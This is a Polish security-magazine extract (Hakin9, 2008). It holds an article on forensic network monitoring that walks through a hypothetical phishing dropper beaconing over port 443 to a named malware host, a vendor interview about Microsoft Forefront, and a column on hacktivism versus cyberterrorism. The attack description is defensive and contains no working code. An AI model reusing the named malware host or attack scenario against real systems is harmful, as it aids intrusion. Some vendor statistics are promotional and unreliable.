które są udokumentowane i skatalogowane w

Stopień trudności

Monitoring

zabezpieczeń

Współczesne firmy i organizacje skupiają się na stosowaniu

tradycyjnych form obrony przed wzrastającą falą ataków

sieciowych, typu IDS/IPS, SIM itd. Coraz większa liczba

incydentów dowodzi jednak, że rozwiązania te nie są w pełni

skuteczne.

background image

71

MONITORING ZABEZPIECZEŃ

HAKIN9

6/2008

bibliotece systemu IDS/IPS lub innym.

• Logi z firewalli, serwerów i innych

urządzeń zawierają wystarczające
informacje pozwalające wykryć i
usunąć problem, jeśli wystąpi.

Oba te założenia są niebezpiecznie
wadliwe i uosabiają krytyczne luki we
współczesnych możliwościach technologii
bezpieczeństwa stosowanych w większości
organizacji.

Krok do przodu

– platformy śledcze

total network knowledge

Aby uniknąć tych błędów, organizacje
powinny uzupełnić realizowane inwestycje w
bezpieczeństwo i procedury bezpieczeństwa
o odpowiednią infrastrukturę zdolną
do głębokiej identyfikacji zagrożeń,
umożliwiającą również gromadzenie
dowodów. Taka platforma śledcza
musiałaby działać ponad szacunkami i
zgadywaniem związanym z analizą logów
oraz bezpieczeństwie bazującym na
sygnaturach i musiałaby mieć poniższe
możliwości:

• Dogłębne przechwytywanie i

rekonstrukcja ruchu sieciowego we
wszystkich sesjach.

• Profilowanie i wizualizacja

charakterystyk ruchu sieciowego
w oparciu o warstwę aplikacji i z
możliwością rozkładu oraz analizy
ruchu.

• Posiadanie możliwości analitycznych

i narzędzi umożliwiających dostęp
do tych informacji również innym
klientom – interaktywnie i w sposób
automatyczny.

Koncepcja sniffingu pakietów i ruchu
sieciowego nie jest niczym nowym dla
administratorów sieciowych zajmujących
się problemami i wydajnością sieci.
To właśnie ruch sieciowy, a nie logi
czy zdarzenia na końcówkach IDS,
zawiera wszystko, co dzieje się w sieci.
Z perspektywy bezpieczeństwa właśnie
na tym poziomie należałoby kontrolować
incydenty. Zrozumienie tej tezy i
wykorzystanie możliwości monitoringu sieci
bazujące na przechwytywaniu pakietów
prowadzi do koncepcji następnej generacji
narzędzi bezpieczeństwa oferując nowe i

ulepszone spojrzenie na problemy od razu,
gdy wystąpią pozwalając równocześnie
na remediacjię. Zaawansowane platformy
śledcze dają takie możliwości.

Aby lepiej zrozumieć możliwości

monitoringu sieciowego opartego o
platformę śledczą, spróbujmy sobie
wyobrazić, że posiadamy rozbudowane
rozwiązanie do przechwytywania i analizy
pakietów na poziomie całej sieci. Załóżmy
następujący przypadek: pewna grupa
otrzymała zlecenie kradzieży danych
osobowych naszych klientów. Ponieważ
jedną z najbardziej skutecznych metod ataku
jest phishing, przygotowano dedykowanego
exploita i skonstruowano odpowiedni mail
skierowany do managementu naszej firmy.
Spreparowany mail pochodzi od zaufanej

organizacji i zawiera prośbę o wypełnienie
ankiety na fałszywej stronie WWW.

Strona ta zawiera niebezpieczny

kod zawarty w pliku „update443.exe”,
który zostaje uruchomiony bez wiedzy
użytkownika. Kod modyfikuje plik

IEXPLORE.EXE

, dając przeciwnikowi

ścieżkę komunikacyjną do sieci
użytkownika poprzez port TCP 443
– typowo otwarty w większości sieci i
generalnie nie monitorowany szczegółowo,
oprócz wyjątkowo dziwnych zachowań.
Ten przykład ma na celu wyłącznie
pokazanie możliwości obejścia
hipotetycznego systemu wyposażonego
w oprogramowanie rozpoznające wzorce
i korelujące zdarzenia. W normalnych
warunkach zapewne konieczne byłoby

Rysunek 1.

Spojrzenie śledcze na exploit „update443.exe”

Fakty dzisiejszego dnia:

• Ataki przypadkowe zamieniły się w celowe, precyzyjne działanie;
• Ugruntował się podziemny rynek programistyczny;
• Przemysł przestępczy rośnie logarytmicznie – w latach 1997-2004 odnotowano 100 tys.

ataków on-line a w kolejnych dwóch już dwa razy więcej;

• „Robak” na zamówienie kosztuje od $10,000 - $100,000;
• Hakerzy „ideologiczni” przestali się liczyć;

Cele działań zorganizowanych:

• Zysk;
• Kradzież informacji (tajemnica państwowa, własność intelektualna, tożsamość);

Złośliwe oprogramowanie:

• Zaawansowane i skomplikowane o niespodziewanych możliwościach;
• Przetestowane i wysokiej jakości.
• Stabilne,
• Wyprodukowane za pomocą profesjonalnych narzędzi;
• Finansowane przez bogate organizacje.

background image

OBRONA

72

HAKIN9 6/2008

spełnienie większej ilości założeń, aby atak
nie został zatrzymany przez IDS czy system
antywirusowy. Niemniej ich spełnienie
przy ataku celowym jest możliwe. W
przeciwieństwie do tych systemów,
platforma śledcza niczego nie zakłada z
góry – dając pełne możliwości analityczne.
Dzięki temu analityk sieciowy ma
możliwość błyskawicznego rozpoznania
zagrożenia. Kiedy nasz użytkownik został
nabrany i uruchomił exploita, w ruchu
sieciowym zobaczymy:

• nieproporcjonalnie duży ruch na port

TCP 443, którego wcześniej nie było,

• pojawienie się ruchu do

graceofholland.org (host z malware),

• pojawienie się w sieci pliku

update443.exe.

Na przedstawionym zrzucie ekranu
z platformy NetWitness NextGen,
zgromadzone są wszystkie informacje o
bieżącym ruchu sieciowym. Możliwa jest
też ich głębsza analiza, pozwalająca na
analityczne spojrzenie na skalę zagrożeń:

• Rozwinięcie informacji o sesjach

związanych z plikiem update443.exe
może wskazać analitykowi, które
komputery dotknął problem oraz jak
plik wędrował w sieci.

• Zrozumienie wektorów ruchu

związanych z graceofholland.org

może pomóc obsłudze firewalli np. w
zaimplementowaniu odpowiedniego
zakazu.

• Dokładniejsza analiza ruchu

wychodzącego z komputera-ofiary
pozwoli określić prawdziwą naturę
problemu.

Rysunek 2. obrazuje zapis ruchu
wychodzącego z komputera-ofiary. Wynika
z niego, że co 8 sekund poprzez port
TCP 443 zostaje wysłana informacja o
wielkości 366 bitów. Stosując narzędzie
do dekodowania pakietów, możemy
zobaczyć treść tego ruchu (nawet, jeśli
jest szyfrowany).

Krok następny – reakcja

Co zatem powinno się zdarzyć teraz?
Dysponując wiedzą przedstawioną w
zarysie powyżej, możemy podjąć działania
w celu przywrócenia odpowiedniego
poziomu bezpieczeństwa sieci.

• Analiza skali w celu upewnienia się,

że inne stacje nie są zainfekowane
przykładowym malware oraz usunięcie
go z sieci.

• Głębsza analiza sieci z użyciem

pełnego przechwytywania pakietów w
celu upewnienia się, że przedstawiona
metoda jest jedyną metodą
ataku w danej chwili, np. poprzez
bardziej szczegółowe spojrzenie
na niestandardowy ruch w sieci, na
portach 80, 443, 53, 25 itd.

• Zmiana konfiguracji firewalli i/lub

wzbogacenie IDS o nową sygnaturę.

• Skierowanie bezpośrednio do winnego

użytkownika komunikatu o złamaniu
zasad bezpieczeństwa i narażeniu
organizacji.

• Zmiana polityk w zakresie otwartości

portu TCP 443.

• Remediacja.

Zaprezentowane tu reakcje są w
znacznym stopniu manualne, jednak

Rysunek 2.

Spojrzenie śledcze na ruch wychodzący z zaatakowanego komputera

Ewolucja narzędzi bezpieczeństwa

Bezsporne fakty:

• Luka czasu pomiędzy nieznanym incydentem a lekarstwem jest na ogół duża;
• Narzędzia powstają by walczyć z konkretnymi problemami, na zasadzie: wirus -> antywirus;
• Rozwiązania nie chronią przed nieznanym;

Rysunek 3.

Historia zagrożeń i rozwiązań bezpieczeństwa.

W Sieci:

• http://www.mediarecovery.pl,
• http://www.forensictools.pl,
• http://www.netwitness.com,
• http://www.guidancesoftware.com.

������������

�����

����

��������

����

����

����

����

�������

����

��������

���������

���������

����

���

���� ����

����

���������

�������

����

�����������������

�������

����

����������

�����

�������

background image

MONITORING ZABEZPIECZEŃ

73

HAKIN9

6/2008

zaawansowane platformy śledcze
typu Netwitness NextGen czy Encase
Enterprise oferują również mechanizmy
automatycznej reakcji i jej powiązania
z innymi istniejącymi systemami,
rozszerzając znacznie ich możliwości i
pozwalając na odpowiednie zarządzanie
incydentem. Nawet zagrożenia typu
zero-day czy zachowania szpiegowskie
lub kryminalne mogą być obsłużone
natychmiast. Dla przykładu – w sytuacji
wykrycia nienormalnego ruchu sieciowego
na porcie 53 (DNS), w czasie gdy ruch ten
jest obserwowany pod kątem kontekstu
i zawartości, platforma śledcza pozwala
analitykom bezpieczeństwa reagować
na bieżąco i nie odwracać uwagi od
rzeczywistego problemu.

Podsumowanie

Większość – nawet dużych – organizacji,
planując nakłady na bezpieczeństwo nie
zakłada, że systemy „przedincydentalne”
przygotowują organizację wyłącznie na
znane zagrożenia. Równocześnie, wg.
ankiety przeprowadzonej przez Forrester
Research, jedną z największych na świecie
firm zajmujących się badaniem rynku, 60
procent menadżerów bezpieczeństwa nie
potrafi odpowiedzieć na pytanie: ile kosztują
moją organizacje incydenty bezpieczeństwa
.
Okazuje się, że w większości przypadków nie
istnieją w firmach i instytucjach mechanizmy
szacowania skali, a kosztów tych nie da się
policzyć. Duża część incydentów nie jest
nawet poznana. W związku z tym nie potrafią
oni uzasadnić zarządom uzasadnienia

wydatków na te cele. W efekcie niespełna 30
procent badanych przeznacza jakiekolwiek
środki na monitorowanie i mechanizmy
pozwalające wyjść poza incydent. Problem
ten nie występuje przy budżetowaniu zakupów
typu antywirus. Tymczasem możliwość
spojrzenia na sieć niejako z góry i absolutna
wiedza o wszystkim, co się w niej dzieje,
nawet w skali przedsiębiorstwa daje zupełnie
inne możliwości ochrony również przed
nieznanym. Takie podejście do incident
response
pozwala uchronić się przed
stratami, a w każdym razie z całą pewnością
je minimalizować. Analiza ruchu na poziomie
sieci uniemożliwia ukrycie w niej czegokolwiek.
Narzędzie typu Netwitness, pozwalając na
pełne przechwytywanie pakietów i analizę
sieci, daje nowe spojrzenie na przyszłość
ułomnych systemów bezpieczeństwa.

Znane incydenty bezpieczeństwa

Titan Rain (2003)

Był jednym z pierwszych dużych skoordynowanych ataków na duże sieci rządowe, którego ofiarą padły
NASA, rządowe laboratoria USA a nawet Locheed Martin. Winą za działania obciążono chińczyków
jednak ich rzeczywista natura (opłacone działania szpiegowskie?) pozostała nieznana. Dopiero w
2005 roku dyrektor jednego z instytutów zajmujących się bezpieczeństwem s Stanach Zjednoczonych
przyznał, że istnieją dowody na to, że działania te były koordynowane przez wywiad chiński.

TJX (ok. 2005)

Firma TJX była przykładem poważnych zaniedbań bezpieczeństwa, dzięki którym zorganizowana
grupa przestępcza wykradła około 50 mln kart kredytowych i ok. 500 tys. danych osobowych
klientów TJX. Proceder kradzieży danych trwał co najmniej kilkanaście miesięcy a, wg. niektórych
informacji, nawet lat. Działania finansowane były prawdopodobnie przez rosyjską mafię a straty
korporacji szacuje się na ponad miliard dolarów.

Eddie Schwartz

CISP, CISA, jest szefem bezpieczeństwa korporacji

NetWitness, lidera rynku systemów monitoringu następnej

generacji. Ma za sobą 25 lat doświadczeń w dziedzinie

bezpieczeństwa i zarządzania bezpieczeństwem

w organizacjach finansowych i rządowych Stanów

Zjednoczonych. Swoją wiedzę koncentruje na

poszukiwaniu nowoczesnych metod incident response.

Przemysław Krejza

dyrektor ds. badań i rozwoju w Mediarecovery,

największej polskiej firmie świadczącej profesjonalne

usługi informatyki śledczej (computer forensics). Prawnik,

informatyk. Wcześniej 8 lat na stanowisku zarządzania

działem odzyskiwania danych w firmie Ontrack. Autor

publikacji na tematy związane z informatyką śledczą

i odzyskiwaniem danych. Prelegent wielu konferencji i

seminariów.

Kontakt z autorem: biuro@mediarecovery.pl

R

E

K

L

A

M

A

background image

74

WYWIAD

HAKIN9 6/2008

ROZMOWA Z ELŻBIETĄ STOJEK

75

HAKIN9

6/2008

h9: Czy zajmuje się Pani teraz jakimś
większym projektem, jeśli tak – to
jakim?
E.S.: Ponieważ klient jest z reguły duży,
zajmuję się cały czas dużymi projektami
– przy czym dzielą się one na dwa
rodzaje: tam, gdzie bezpieczeństwo IT
jest nieodzownym elementem złożonego
rozwiązania oraz tam, gdzie projekt
całkowicie opiera się o produkty i usługi
związane tylko z bezpieczeństwem.
Osobiście preferuję uczestniczenie w
projektach traktujących temat całościowo,
np. bezpieczna komunikacja, bezpieczny
obrót dokumentami, bezpieczny zdalny
dostęp pracowników mobilnych itp. Takie
podejście gwarantuje kompleksowe
rozwiązanie problemu klienta i dostarczenie
pełnowartościowego rozwiązania
pochodzącego od jednego producenta.
Temat bezpieczeństwa jest na tyle szeroki,
że jest zawsze sporo do zrobienia i to
nawet u klientów, którzy zarzekają się, że
są bezpieczni, gdyż w zeszłym roku wydali
na technologię dużą część budżetu – ale
przecież wiadomo, że zagrożenia rozwijają
się każdego dnia.

h9: Chciałabym zapytać o technologię
Microsoft Forefront Security: jak idą
prace rozwojowe, czego można się
spodziewać?

E.S.: Microsoft bardzo intensywnie
inwestuje i rozwija zabezpieczenia
swoich produktów od dłuższego
czasu. Inwestycje te możemy podzielić
na trzy rodzaje. Po pierwsze, jest to
doskonalenie produktów samych w
sobie – zgodnie z inicjatywą Trustworthy
Computing
(ogłoszoną przez Billa
Gatesa w styczniu 2002 roku) oraz
po wprowadzeniu w życie nowych
zasad tworzenia oprogramowania
(Security Development Lifecycle), każde
z rozwiązań powstaje w zgodzie z
ściśle określonym harmonogramem
prac, gdzie bardzo ważnymi etapami
są projektowanie produktu, pisanie
bezpiecznego kodu, wewnętrzne i
publiczne testowanie rozwiązania
oraz wsparcie przez jednostkę
Microsoft Security Response Center,
po premierze produktu. Wynikiem
tego postępowania jest między innymi
spadek liczby poprawek bezpieczeństwa
i funkcjonalnych, dotyczących nowych
systemów i aplikacji, w porównaniu
z ich liczbą dla poprzednich wersji
oprogramowania. Każde z działań
zespołów deweloperskich jest dokładnie
monitorowane i analizowane, dzięki
takiemu postępowaniu Windows Vista
został uznany za najbezpieczniejszy z
systemów Microsoft. Kolejnym krokiem

hakin9: Czym się Pani zajmuje w MS?
Elżbieta Stojek: W firmie Microsoft zajmuję
się przede wszystkim prowadzeniem i
wsparciem różnych działań związanych z
promowaniem rozwiązań bezpieczeństwa,
jakie oferuje Microsoft do uzupełnienia
ochrony infrastruktury informatycznej. Pełnię
rolę doradcy dla kluczowych Klientów i
Partnerów firmy.

h9: Jak długo pracuje Pani w MS?
E.S.: Staż mojej pracy wynosi dwa lata,
jednak chciałabym podkreślić, że już
wcześniej przez okres kilku lat byłam
związana z technologią Microsoft, jak
również innych producentów zajmujących
się bezpieczeństwem informatycznym

h9: Jak układa się Pani współpraca z MS?
E.S.: Współpraca od samego początku
układała się tak, jak powinna dla obu
stron, a praca daje mi satysfakcję, co
jest najważniejsze. Firma oferuje duże
możliwości rozwoju i kształcenia się w
Polsce oraz za granicą. Microsoft to
przede wszystkim międzynarodowa
społeczność ludzi posiadających
wiedzę oraz doświadczenie, pracujących
w różnych kulturach i, co ważne w
dzisiejszych czasach – ludzi działających
z pasją, ja czuję się w tej społeczności
bardzo dobrze.

Bezpieczeństwo

przede wszystkim

Moja historia z bezpieczeństwem informatycznym zaczęła się kilka lat temu, kiedy na

Uniwersytecie Wrocławskim miałam okazję zajmować się genetyką „in silico” i wtedy

– oprócz algorytmów genetycznych czy sztucznej inteligencji – zaczęłam powoli

angażować się w tematy zabezpieczeń sieci. Kilka lat pracy w sektorze IT pozwoliło

mi na podejmowanie kolejnych wyzwań związanych z tą tematyką i zdobywanie

doświadczenia, a jakiś czas temu podjęłam decyzję o współpracy z firmą Microsoft.

background image

74

WYWIAD

HAKIN9 6/2008

ROZMOWA Z ELŻBIETĄ STOJEK

75

HAKIN9

6/2008

na ścieżce bezpieczeństwa było
wprowadzenie przez firmę około dwa
lata temu rodziny rozwiązań Forefront
Security dla zapewnienia zintegrowanej
ochrony infrastruktury opartej o systemy
Microsoft. Wśród tych produktów
znajdują się rozwiązania antywirusowe
i antyspyware dla stacji roboczych,
laptopów i serwerów plików, a także
rozwiązania antywirusowe, antyspam
i filtrowania treści dla serwerów
aplikacyjnych oraz produkty do ochrony
styku z Internetem – takie, jak brama
bezpieczeństwa czy SSL VPN. Olbrzymim
plusem tych rozwiązań jest wykorzystanie
sprawdzonej już technologii, którą
firma pozyskała od Partnerów, a
także bardzo dobra integracja z
systemami Microsoft i usługami
Active Directory. Jako trzeci przykład
działań rozwojowych firmy można
podać pozyskiwanie strategicznych
Partnerów i współpracę z ekspertami z
dziedziny bezpieczeństwa IT oraz czynne
członkostwo w organizacjach rządowych
i pozarządowych odpowiedzialnych za
zwalczanie zagrożeń internetowych.

W przypadku wszystkich naszych

rozwiązań Forefront – można pobrać
wersje pełne z kluczem testowym
na okres 30 lub 120 dni. Wszystkie
rozwiązania są dostępne na stronie
www.microsoft.com/forefront. Na
powyższej stronie znajdują się
również gotowe środowiska wirtualne,
które można testować bez potrzeby
przygotowywania laboratorium.

h9: Jakie są zagrożenia płynące z tej
technologii?
E.S.: Zapytałabym raczej, jaka jest przewaga
konkurencyjna nad innymi technologiami.
Rozwiązania bezpieczeństwa mają
służyć bezpieczeństwu, a nie stanowić
zagrożenie. Microsoft przygotował produkty
bezpieczeństwa dla własnych rozwiązań
systemowych i aplikacyjnych, przewagą
będzie na pewno skuteczność, prostota
użytkowania i jeszcze raz integracja z
pozostałymi naszymi narzędziami. Wielu
klientów może dostrzec również zaletę
w zakupie całej platformy od jednego
producenta.

h9: W jaki sposób jest realizowany
proces skanowania przez więcej niż

jeden program antywirusowy, czy
nie występują konflikty (sytuacje,
w których dwa programy próbują
odwołać się do tego samego
dokumentu)?
E.S.: W przypadku ochrony serwerów
aplikacyjnych program antywirusowy
jest jeden, natomiast skanerów
w niego wbudowanych jest kilka i
pochodzą one od różnych dostawców
systemów antywirusowych. Skanery
mogą działać w tym samym
czasie, skanować wielowątkowo
i w zaalokowanej wcześniej pamięci
serwera. Rozwiązanie takie nie
powoduje opóźnień wynikających z
oczekiwania na aktualizację lub naprawę
skanera, gdyż zawsze któryś z silników
antywirusowych działa i przeprowadza
proces skanowania na bieżąco,
bez przetrzymywania dokumentów i
wiadomości na serwerze.

h9: Jak wiemy, w bazach danych
można umieszczać także odwołania
do zewnętrznych linków, grafikę – czy
systemy skanujące sprawdzają także
inne formaty plików niż Word?
E.S.: Rozwiązania Forefront skanują i
przeszukują dokumenty pod kątem
słów kluczowych, fraz czy dokumentów
zagnieżdżonych w większości dokumentów
Office, w formacie Open XML,
spakowanych czy zaszyfrowanych RMS,
a także umożliwiają blokowanie plików

typu .exe, .mp3 i innych o popularnych
rozszerzeniach.

h9: Kto dostarcza oprogramowanie
antywirusowe do tej technologii,
czy użytkownik może skorzystać z
każdego programu dostępnego na
rynku?
E.S.: W przypadku ochrony stacji
roboczych, serwerów plików i laptopów
Microsoft oferuje pojedynczy własny
skaner antywirusowy i antyspyware
oraz skaner wykrywania podatności
systemów, natomiast dla ochrony
serwerów aplikacyjnych udostępniamy
pakiet rozwiązań – połączenie
ośmiu różnych technologii znanych
producentów – Microsoft, Kaspersky,
Sophos, Virus Buster, Norman, AhnLab,
Authentium i CA. Administrator ma
pełną dowolność w wybraniu zestawu
skanerów, które będą działać w
danym punkcie sieci. Dodam jeszcze,
że wszystkie nasze rozwiązania są
certyfikowane i sprawdzone pod
względem jakości i wydajności przez
niezależne laboratoria. Wyniki testów
można między innymi porównać na
Virus Bulletin lub AV-test.org.

h9: W jaki sposób ta technologia wpływa
na pracę serwera,? Sytuacja jest w miarę
jasna, jeśli sieć opiera się o strukturę
LAN, ale w przypadku dużych oddziałów,
podzielenia bazy dokumentów na różne

background image

76

WYWIAD

HAKIN9 6/2008

lokalizacje (a systemy te tworzą zapytania
SQL, przeszukują bazy danych) – jaki
procent ruchu w sieci generowany jest w
wyniku działania tych aplikacji?
E.S.: Obciążenia są dwojakiego rodzaju
i są albo generowane przez sam
program pracujący na serwerze lub
stacji, albo też są to obciążenia sieci i
wiążą się one z pobieraniem aktualizacji
i wysyłaniem wiadomości o zdarzeniach.
W przypadku rozwiązania Microsoft
Forefront for Exchange, program nie
tylko pozwala na zaoszczędzenie
wydajności poprzez pracę wielowątkową
i w pamięci serwera, ale również
umożliwia znakowanie wiadomości
pocztowych stemplem antywirusowym
w ten sposób, że każdy kolejny serwer
pocztowy występujący w organizacji
rozpoznaje stempel i w związku z
tym, że wiadomość jest czysta, nie
musi powielać procesu skanowania.
Oprócz tego zmienione zostały zasady
skanowania w tle dla serwerów
Exchange Mailbox i możliwe jest
skanowanie wybiórcze – wybranej
grupy wiadomości. Klienci zazwyczaj
nas pytają, czy produkt Microsoftu nie
obciąża serwerów, jeśli pozwalamy
na jednoczesne uruchomienie kilku
skanerów na jednej maszynie. W tym
przypadku obciążenie zależy również
od wydajności samej maszyny oraz
złożoności systemu pocztowego i przy
dodawaniu kolejnych skanerów wzrasta
w niewielkim stopniu. Jeśli spadek
wydajności jest nie do zaakceptowania,
administrator zawsze może zmniejszyć

liczbę skanerów np. do 2 na serwerze
Mailbox przy pozostawieniu 5
na serwerze Edge. W przypadku
stacji roboczych, agent programu
antywirusowego jest transparentny dla
użytkownika końcowego, a wymagania
sprzętowe są podobne, jak dla
systemu operacyjnego. Skanowanie na
stacji roboczej powoduje minimalne
obciążenie systemu i jest niezauważalne
dla użytkownika końcowego. System
Forefront Client Security aktualizuje
się z WSUSa lub z Microsoft Update
i pobiera aktualizacje różnego typu i
różnej wielkości (od kilkunastu kb do
kilkudziesięciu Mb), w zależności od
dnia miesiąca. Uaktualnienia możemy
dostarczyć w różnych godzinach przy
wykorzystaniu pozostałych narzędzi
zarządzania Microsoft.

h9: Co kryje się pod nazwą
kompleksowa linia produktów?
E.S.: Jest to bardzo szerokie pojęcie,
którego podstawę stanowi cała
linia systemów Windows wraz z
rozwiązaniami do ich zabezpieczeń,
czyli wszystkimi produktami Forefront
Server (ochrona Exchange i SharePoint),
Client (ochrona stacji roboczych i
serwerów), Edge (ochrona styku sieci
i zabezpieczenie zdalnego dostępu) a
także usługami ochrony antywirusowej
i antyspam świadczonymi przez
Microsoft – Exchange Hosted Services,
oprogramowaniem do ochrony danych
RMS oraz narzędziami do zarządzania i
monitorowania sieci – Microsoft System
Center. Z tymi produktami ściśle wiążą
się również narzędzia pozwalające na
kontrolę i zarządzanie tożsamościami
użytkowników.

h9: Strategia Defense in Depth – może
Pani przytoczyć technologie z nią
związane?
E.S.: W przypadku Microsoft jest to
wszystko, co wiąże się z ochroną
dogłębną i oprogramowaniem
Windows, Forefront, System Center.
Firma dostarcza rozwiązania
do zarządzania tożsamościami
użytkowników, szyfrowania dokumentów,
zabezpieczenia przed złośliwym
oprogramowaniem i włamaniami dla
różnych segmentów sieci, jak również

narzędzia do backupu, zarządzania i
monitorowania środowiska IT.

h9: W jaki sposób MS postrzega
środowisko specjalistów IT?
E.S.: Środowisko specjalistów IT jest
dla firmy bardzo ważne i pomocne
w tworzeniu oraz rozwoju rozwiązań.
Microsoft organizuje i uczestniczy w
społecznościach użytkowników systemów
i ekspertów technologii. Dochodzi do
ciągłej dyskusji i wymiany informacji
na spotkaniach, forach i portalach.
Przykładem jest portal społeczności
Windows – www.wss.pl.

h9: Jakie akcje dla specjalistów IT
Państwo przeprowadzają?
E.S.: Akcje, jakie firma przeprowadza,
skierowane są do specjalistów IT
zatrudnionych u naszych Klientów i
Partnerów. Są to kampanie i inicjatywy
różnego typu. Inżynierowie mogą
zazwyczaj wcześniej uczestniczyć
w testach rozwiązań Microsoft lub
programach wczesnej adaptacji
oprogramowania. Organizujemy też
wspólne konferencje, seminaria i dyskusje
poświęcone produktom Microsoft.
Staramy się rozwijać wiedzę i umiejętności
naszych Partnerów poprzez dostarczanie
szkoleń lub rozwijanie kompetencji, np.
dzięki inicjatywie skills builder. Poza tym na
naszych witrynach można znaleźć dużo
bezpłatnych szkoleń oraz poradników.

h9: Jak Microsoft ocenia hakin9 jako
medium umożliwiające dotarcie do
specjalistów IT?
E.S.: Hakin9 jako chyba jedyne pismo
na rynku ma możliwość dotarcia do
szerokiego grona zainteresowanych
osób. Myślę, że jest to dobry sposób
na dostarczenie informacji ludziom
pracującym z technologiami
informatycznymi i zmianę ich zdania
lub rozpoczęcie dyskusji na temat
technologii Microsoft, która na
przełomie kliku ostatnich lat obrała inny
kierunek, jeśli chodzi o postrzeganie
bezpieczeństwa (patrz Trusthworhy
Computing
) i dostarczanie bezpiecznych
usług i produktów.

h9: Dziękuję za rozmowę
E.S.: Dziękuję

background image

ROZMOWA Z ELŻBIETĄ STOJEK

77

HAKIN9

6/2008

background image

FELIETON

78

HAKIN9 6/2008

79

HAKIN9

6/2008

Aktywny terror

hackingu

– podobnie, jak hacker jest identyfikowany z
crackerem czy script kiddie. Czy na pewno?
Hacktywizm w czystej formie posiada
jedną mocną stronę – jest popierany przez
bardzo istotną część społeczeństwa (oprócz
tej, w którą jest wymierzony), dla której cel
manifestacji jest szczytny – nawet, jeśli
sposób jej przeprowadzenia wiąże się z
mniejszym lub większym nagięciem prawa.
Przykładem tutaj mogą być: podmiany
stron WWW w proteście przeciwko próbom
nuklearnym czy włamywanie się do
systemów providerów internetowych w celu
pełnej identyfikacji osób podejrzanych o
pedofilię. Czyny te są popierane, ponieważ
są zbieżne z wartościami protestu
obywatelskiego, w świecie, gdzie hacktywiści
wypowiedzieli wojnę totalitarnym reżimom
i państwom, w których łamie się wolność
słowa. Hacktywizm w swym założeniu ma
na celu zwrócenie uwagi całego globu na
problemy ograniczające lub niszczące życie

ludzkie. Spotykamy się z nim w miejscach,
gdzie nie pozwala się ludziom normalnie
żyć, swobodnie rozmawiać, poruszać
czy wyrażać własnych myśli. Tam, gdzie
blokowany jest dostęp do alternatywnych
źródeł informacji, serwisów internetowych,
kontaktów z opozycją. Sytuacja diametralnie
się zmienia, kiedy powstają grupy będące
na utrzymaniu agencji rządowych, którym
dyktowane jest pojęcie dobra. Sama
sytuacja, w której nad grupą hackerów
stoi ktoś ponad, nie wiąże się z sednem
ich ideologii. Josh Corman, główny strateg
bezpieczeństwa firmy IBM, zauważył pewną
prawidłowość – hacking robi się polityczny.
Na początku w hackingu chodziło o prestiż.
Później, gdy na rynku usług informatycznych
wykształciła się luka i zaczęło powstawać
wiele firm oferujących usługi związane
z testowaniem zabezpieczeń i procedur
bezpieczeństwa w organizacjach – chodziło
już o prestiż oraz profit. Dzisiaj kryminalni

G

wałtowna ekspansja e-komercji za
pośrednictwem Internetu dała nowe
możliwości ingerowania w kwestie

publiczne z pomocą nowego medium dla
własnych korzyści politycznych. By zrozumieć
problem, musimy najpierw spojrzeć na Sieć
jako alternatywę dla wolnych mediów, gdzie
każdy może wypowiedzieć się na temat
polityki rządu, decyzji biznesowych, a nawet
prowadzonych wojen i projektów z nimi
związanych. I nie mam tu na myśli wyrażania
swoich opinii na blogach i zbierania
podpisów pod elektronicznymi petycjami.
Chodzi o czystą formę hacktywizmu
atakowania / włamywania się do systemów
komputerowych, zazwyczaj innych rządów,
dla celów politycznych, w której działacze
spodziewają się, że ich wiadomość dotrze
do adresata, nie omijając opinii publicznej.
Praktyka ta w ostatnich latach przekształca
się w naprawdę potężne narzędzie wpływu
na opinię publiczną. Należy przypomnieć,
że hacktywizm (połączenie dwóch słów:
hack i aktywizm) w swoim założeniu jest
akcją mającą na celu zwrócenie uwagi
opinii publicznej na określony problem
społeczny bądź polityczny. W takim razie,
gdzie kończy się hacktywizm, a zaczyna
cyberterroryzm? Dla jednych hacktywizm
jest przecież przejawem obrony uciśnionych,
dla drugich terroryzmem. Dla niektórych
pseudoekspertów to jedno i to samo

Aktywiści podczas swoich wystąpień wycierają buty na chodnikach przed siedzibami

wielu organizacji rządowych, zarzucając je różnymi hasłami politycznymi, podczas gdy

inni wycierają opuszki palców na klawiaturach, zarzucając serwer zapytaniami w celu

jego całkowitego obciążenia. Obydwie te czynności są przejawem form oficjalnego

protestu i politycznego aktywizmu, ale jedna z nich stoi przed, a druga – za literą prawa.

Patryk Krawaczyński jest studentem Informacji Naukowej

na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych

chwilach stara się prowadzić serwis na temat administracji

oraz podstawowych mechanizmów bezpieczeństwa systemu

operacyjnego Linux – www.nfsec.pl. Jego zainteresowania

wiążą się także z ogólnymi zjawiskami zachodzącymi

w społeczeństwie, na które oddziałują Technologie

Informacyjne.

Kontakt z autorem: agresor@nfsec.pl

background image

FELIETON

78

HAKIN9 6/2008

79

HAKIN9

6/2008

hackerzy wyznają regułę trzech P– 3xP
– Prestiż, Profit, Polityka. Prestiż w środowisku
czarnych kapeluszy. Profit z wykonywanych
usług. Polityczne wsparcie ze strony
rządu lub motywacja będąca świetną
wymówką do przeprowadzenia ataku.
Inteligentny hacker, pozbawiony kręgosłupa
moralnego, będący w stanie wyrządzić
szkody, o jakich pomarzyć mogą tylko
tradycyjni agenci, sabotażyści czy szpiedzy,
posiadający rządowe wsparcie materialne,
technologiczne, a także najważniejsze
– ideologiczne – w swojej ślepej wierze widzi
tylko dokonywanie zadań dla swojego kraju.
Podobnie jest w sytuacji, w której różne grupy
oferujące wynajęcie swoich botnetów nie
przywiązują zbytniej wagi do celu ataku. Dla
nich liczy się tylko profit z wykonanej pracy.
W tej formie otrzymujemy cyberterroryzm
pod świadomą kontrolą. Jest on nastawiony
wyłącznie na osiąganie prywatnych celów
– bez żadnych pozytywnych skutków
dla ogółu. Aby atak można było nazwać
cyberterrorystycznym, powinien on być
skierowany przeciw konkretnym osobom
lub strukturom – wymierzony przeciw
elektronicznym zasobom kontrolującym w
dużym stopniu infrastrukturę gospodarczą
danego kraju. Wiele bowiem zasobów
informatycznych związanych z krytycznymi
infrastrukturami, niezbędnymi do życia w
państwie, jest dostępnych poprzez Sieć, a
przejęcie kontroli nad nimi jest głównym
celem cyberterrorystów. W dodatku
– w przeciwieństwie do hacktywizmu
– cyberterroryzm nie zwraca uwagi
opinii publicznej na ważny problem
społeczny czy polityczny, lecz wymusza na
społeczeństwie z góry narzucone działania.
Stanowi to doskonały wyróżnik pomiędzy
opisywanymi zjawiskami. Kontrast jest tym
większy, że działania hacktywistów nie
powodują ponadto szkód wywołujących
strach czy śmierć, z kolei pod groźbą
których ataki cyberterrorystyczne odnoszą
